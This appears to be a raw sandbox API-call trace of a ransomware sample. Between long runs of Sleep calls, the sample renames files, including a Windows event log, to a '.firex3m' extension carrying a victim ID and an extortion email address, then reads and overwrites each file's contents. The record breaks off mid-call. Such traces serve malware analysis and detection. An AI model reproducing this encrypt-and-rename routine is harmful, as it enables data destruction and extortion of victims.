(dwMilliseconds=0x1) [0079.605] Sleep (dwMilliseconds=0x1) [0079.609] Sleep (dwMilliseconds=0x1) [0079.631] Sleep (dwMilliseconds=0x1) [0079.640] Sleep (dwMilliseconds=0x1) [0079.662] Sleep (dwMilliseconds=0x1) [0079.674] Sleep (dwMilliseconds=0x1) [0079.691] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.888] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.097] Sleep (dwMilliseconds=0x1) [0080.139] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.241] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.272] Sleep (dwMilliseconds=0x1) [0080.282] Sleep (dwMilliseconds=0x1) [0080.305] Sleep (dwMilliseconds=0x1) [0080.312] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.358] Sleep (dwMilliseconds=0x1) [0080.388] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.844] Sleep (dwMilliseconds=0x1) [0080.891] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.959] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.028] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.282] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.554] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.688] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.778] Sleep (dwMilliseconds=0x1) [0081.836] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.889] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.038] Sleep (dwMilliseconds=0x1) [0082.048] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.110] Sleep (dwMilliseconds=0x1) [0082.135] Sleep (dwMilliseconds=0x1) [0082.148] Sleep (dwMilliseconds=0x1) [0082.160] Sleep (dwMilliseconds=0x1) [0082.192] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.230] Sleep (dwMilliseconds=0x1) [0082.261] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.297] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.373] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.543] Sleep (dwMilliseconds=0x1) [0082.585] Sleep (dwMilliseconds=0x1) [0082.639] Sleep (dwMilliseconds=0x1) [0082.681] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.824] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.018] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.148] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.240] Sleep (dwMilliseconds=0x1) [0083.295] Sleep (dwMilliseconds=0x1) [0083.335] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.804] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.740] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.879] Sleep (dwMilliseconds=0x1) [0084.958] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.123] Sleep (dwMilliseconds=0x1) [0085.179] Sleep (dwMilliseconds=0x1) [0085.344] Sleep (dwMilliseconds=0x1) [0085.392] Sleep (dwMilliseconds=0x1) [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] Sleep (dwMilliseconds=0x1) [0085.961] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.348] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] Sleep (dwMilliseconds=0x1) [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] Sleep (dwMilliseconds=0x1) [0090.327] Sleep (dwMilliseconds=0x1) [0091.761] Sleep (dwMilliseconds=0x1) [0093.115] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Strings.xml", len=0x21 | out: pbstr=0x637ff7c*="C:\\588bce7c90097ed212\\Strings.xml") returned 1 [0093.116] GetProcessHeap () returned 0x630000 [0093.116] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72a050, Size=0xa8) returned 0x650658 [0093.116] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0093.152] CloseHandle (hObject=0x66c) returned 1 [0093.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.152] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Strings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.157] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STRING~1.FIR")) returned 0x6d5580 [0093.157] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0093.157] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0093.158] GetProcessHeap () returned 0x630000 [0093.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3721) returned 0x6ef738 [0093.158] GetProcessHeap () returned 0x630000 [0093.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3721) returned 0x6fed108 [0093.159] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.159] ReadFile (in: hFile=0x66c, lpBuffer=0x6ef738, nNumberOfBytesToRead=0x3700, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef738*, lpNumberOfBytesRead=0x637ff0c*=0x3700, lpOverlapped=0x0) returned 1 [0095.108] GetProcessHeap () returned 0x630000 [0095.108] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0095.108] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.108] WriteFile (in: hFile=0x66c, lpBuffer=0x6fed108*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed108*, lpNumberOfBytesWritten=0x637ff0c*=0x3700, lpOverlapped=0x0) returned 1 [0095.108] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.108] WriteFile (in: hFile=0x66c, lpBuffer=0x6ff0807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0807*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0095.108] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.108] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0095.108] CloseHandle (hObject=0x66c) returned 1 [0095.110] GetProcessHeap () returned 0x630000 [0095.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fed108 | out: hHeap=0x630000) returned 1 [0095.110] GetProcessHeap () returned 0x630000 [0095.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef738 | out: hHeap=0x630000) returned 1 [0095.113] GetProcessHeap () returned 0x630000 [0095.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0095.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0095.113] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfea3a5ef, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x9187496, dwReserved1=0x6ef730, cFileName="Strings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STRING~1.FIR")) returned 0x6d5380 [0095.113] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0095.113] Sleep (dwMilliseconds=0x1) [0097.182] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\588bce7c90097ed212\\2070\\eula.rtf", len=0x23 | out: pbstr=0x637ff7c*="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 1 [0097.183] GetProcessHeap () returned 0x630000 [0097.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1220 | out: hHeap=0x630000) returned 1 [0097.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0097.183] CloseHandle (hObject=0x694) returned 1 [0097.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0097.184] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0097.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0097.184] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5580 [0097.184] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0097.185] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0097.185] GetProcessHeap () returned 0x630000 [0097.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfc1) returned 0x727d80 [0097.185] GetProcessHeap () returned 0x630000 [0097.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfc1) returned 0x6ed4d28 [0097.185] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.185] ReadFile (in: hFile=0x694, lpBuffer=0x727d80, nNumberOfBytesToRead=0xfa0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x637ff0c*=0xfa0, lpOverlapped=0x0) returned 1 [0097.215] GetProcessHeap () returned 0x630000 [0097.215] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0097.215] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.215] WriteFile (in: hFile=0x694, lpBuffer=0x6ed4d28*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed4d28*, lpNumberOfBytesWritten=0x637ff0c*=0xfa0, lpOverlapped=0x0) returned 1 [0097.215] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.215] WriteFile (in: hFile=0x694, lpBuffer=0x6ed5cc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed5cc7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0097.215] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.215] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0097.215] CloseHandle (hObject=0x694) returned 1 [0097.216] GetProcessHeap () returned 0x630000 [0097.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed4d28 | out: hHeap=0x630000) returned 1 [0097.216] GetProcessHeap () returned 0x630000 [0097.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0097.216] GetProcessHeap () returned 0x630000 [0097.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0097.217] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0097.217] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xffe5a416, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xfd3, dwReserved0=0x9187496, dwReserved1=0x727d78, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5580 [0097.217] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0097.217] Sleep (dwMilliseconds=0x1) [0097.232] Sleep (dwMilliseconds=0x1) [0097.250] Sleep (dwMilliseconds=0x1) [0097.261] Sleep (dwMilliseconds=0x1) [0097.277] Sleep (dwMilliseconds=0x1) [0097.293] Sleep (dwMilliseconds=0x1) [0097.308] Sleep (dwMilliseconds=0x1) [0097.324] Sleep (dwMilliseconds=0x1) [0097.340] Sleep (dwMilliseconds=0x1) [0097.355] Sleep (dwMilliseconds=0x1) [0097.371] Sleep (dwMilliseconds=0x1) [0097.386] Sleep (dwMilliseconds=0x1) [0097.402] Sleep (dwMilliseconds=0x1) [0097.418] Sleep (dwMilliseconds=0x1) [0097.433] Sleep (dwMilliseconds=0x1) [0097.449] Sleep (dwMilliseconds=0x1) [0097.465] Sleep (dwMilliseconds=0x1) [0097.480] Sleep (dwMilliseconds=0x1) [0097.496] Sleep (dwMilliseconds=0x1) [0097.512] Sleep (dwMilliseconds=0x1) [0097.528] Sleep (dwMilliseconds=0x1) [0097.545] Sleep (dwMilliseconds=0x1) [0097.559] Sleep (dwMilliseconds=0x1) [0097.574] Sleep (dwMilliseconds=0x1) [0097.589] Sleep (dwMilliseconds=0x1) [0097.605] Sleep (dwMilliseconds=0x1) [0097.621] Sleep (dwMilliseconds=0x1) [0097.665] Sleep (dwMilliseconds=0x1) [0097.667] Sleep (dwMilliseconds=0x1) [0097.683] Sleep (dwMilliseconds=0x1) [0097.699] Sleep (dwMilliseconds=0x1) [0097.714] Sleep (dwMilliseconds=0x1) [0097.730] Sleep (dwMilliseconds=0x1) [0097.746] Sleep (dwMilliseconds=0x1) [0097.761] Sleep (dwMilliseconds=0x1) [0097.777] Sleep (dwMilliseconds=0x1) [0097.793] Sleep (dwMilliseconds=0x1) [0097.808] Sleep (dwMilliseconds=0x1) [0097.824] Sleep (dwMilliseconds=0x1) [0097.840] Sleep (dwMilliseconds=0x1) [0097.855] Sleep (dwMilliseconds=0x1) [0097.871] Sleep (dwMilliseconds=0x1) [0097.886] Sleep (dwMilliseconds=0x1) [0097.903] Sleep (dwMilliseconds=0x1) [0097.918] Sleep (dwMilliseconds=0x1) [0097.933] Sleep (dwMilliseconds=0x1) [0097.949] Sleep (dwMilliseconds=0x1) [0097.964] Sleep (dwMilliseconds=0x1) [0097.981] Sleep (dwMilliseconds=0x1) [0097.996] Sleep (dwMilliseconds=0x1) [0098.011] Sleep (dwMilliseconds=0x1) [0098.027] Sleep (dwMilliseconds=0x1) [0098.053] Sleep (dwMilliseconds=0x1) [0098.059] Sleep (dwMilliseconds=0x1) [0098.076] Sleep (dwMilliseconds=0x1) [0098.090] Sleep (dwMilliseconds=0x1) [0098.106] Sleep (dwMilliseconds=0x1) [0098.121] Sleep (dwMilliseconds=0x1) [0098.136] Sleep (dwMilliseconds=0x1) [0098.152] Sleep (dwMilliseconds=0x1) [0098.168] Sleep (dwMilliseconds=0x1) [0098.183] Sleep (dwMilliseconds=0x1) [0098.201] Sleep (dwMilliseconds=0x1) [0099.746] Sleep (dwMilliseconds=0x1) [0101.027] Sleep (dwMilliseconds=0x1) [0101.796] Sleep (dwMilliseconds=0x1) [0102.270] Sleep (dwMilliseconds=0x1) [0102.477] Sleep (dwMilliseconds=0x1) [0102.642] Sleep (dwMilliseconds=0x1) [0102.886] Sleep (dwMilliseconds=0x1) [0102.998] Sleep (dwMilliseconds=0x1) [0103.186] Sleep (dwMilliseconds=0x1) [0103.301] Sleep (dwMilliseconds=0x1) [0103.550] Sleep (dwMilliseconds=0x1) [0104.562] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", len=0x36 | out: pbstr=0x637ff7c*="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 1 [0104.562] GetProcessHeap () returned 0x630000 [0104.562] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef3c8, Size=0x3c) returned 0x6fef9f8 [0104.562] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0104.563] CloseHandle (hObject=0x4e4) returned 1 [0104.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.563] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.564] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa70016b1, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIFEF8~1.FIR")) returned 0x6d5580 [0104.564] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0104.564] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0104.564] GetProcessHeap () returned 0x630000 [0104.564] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7078a80 [0104.564] GetProcessHeap () returned 0x630000 [0104.564] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70bc4f8 [0104.565] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.565] ReadFile (in: hFile=0x4e4, lpBuffer=0x7078a80, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078a80*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.610] GetProcessHeap () returned 0x630000 [0112.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0112.610] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.610] WriteFile (in: hFile=0x4e4, lpBuffer=0x70bc4f8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: 